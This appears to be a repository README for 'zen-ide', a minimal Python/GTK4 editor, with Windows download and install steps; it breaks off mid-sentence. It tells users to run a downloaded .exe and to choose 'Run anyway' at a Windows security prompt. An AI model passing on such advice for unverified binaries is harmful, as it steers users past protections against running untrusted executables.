Alluvial-hungjury129/zen-ide

🧘 zen-ide - Minimal IDE for focused work

🖥️ What is zen-ide?

zen-ide is a simple desktop app for writing and working with code in one place. It uses Python and GTK4, so it feels light and clean on Windows. It is built for people who want a calm editor without a lot of clutter.

Use it to:

• open code files
• edit text with a plain layout
• work with Python, TypeScript, and Terraform files
• keep your tools in one window
• stay focused with fewer panels and less noise

📥 Download zen-ide

1. Open the release page: zen-ide releases
2. Find the latest release at the top
3. Look for the Windows file, such as:
   • .exe
   • .msi
   • .zip
4. Download the file to your computer
5. If you get a .zip file, extract it first
6. Run the app by double-clicking the .exe or installer file

If Windows shows a security prompt:

• choose Run anyway if you trust the source
• if the file is in a .zip, make sure you extract it before opening it

🪟 Install on Windows

Most users on Windows will use one of two package types:

.exe installer

1. Download the installer from the release page
2. Double-click the file
3. Follow the setup window
4. Choose an install folder if asked
5. Finish the setup
6. Open zen-ide from the Start menu or desktop shortcut

.zip package

1. Download the .zip file from the release page
2. Right-click the file
3. Choose Extract All
4. Open the extracted folder
5. Double-click the app file inside
6. If you want, move the folder to a place you use for apps

⚙️ System needs

zen-ide is made for a normal Windows desktop or laptop.

Recommended setup:

• Windows 10 or Windows 11
• 4 GB RAM or more
• 200 MB of fr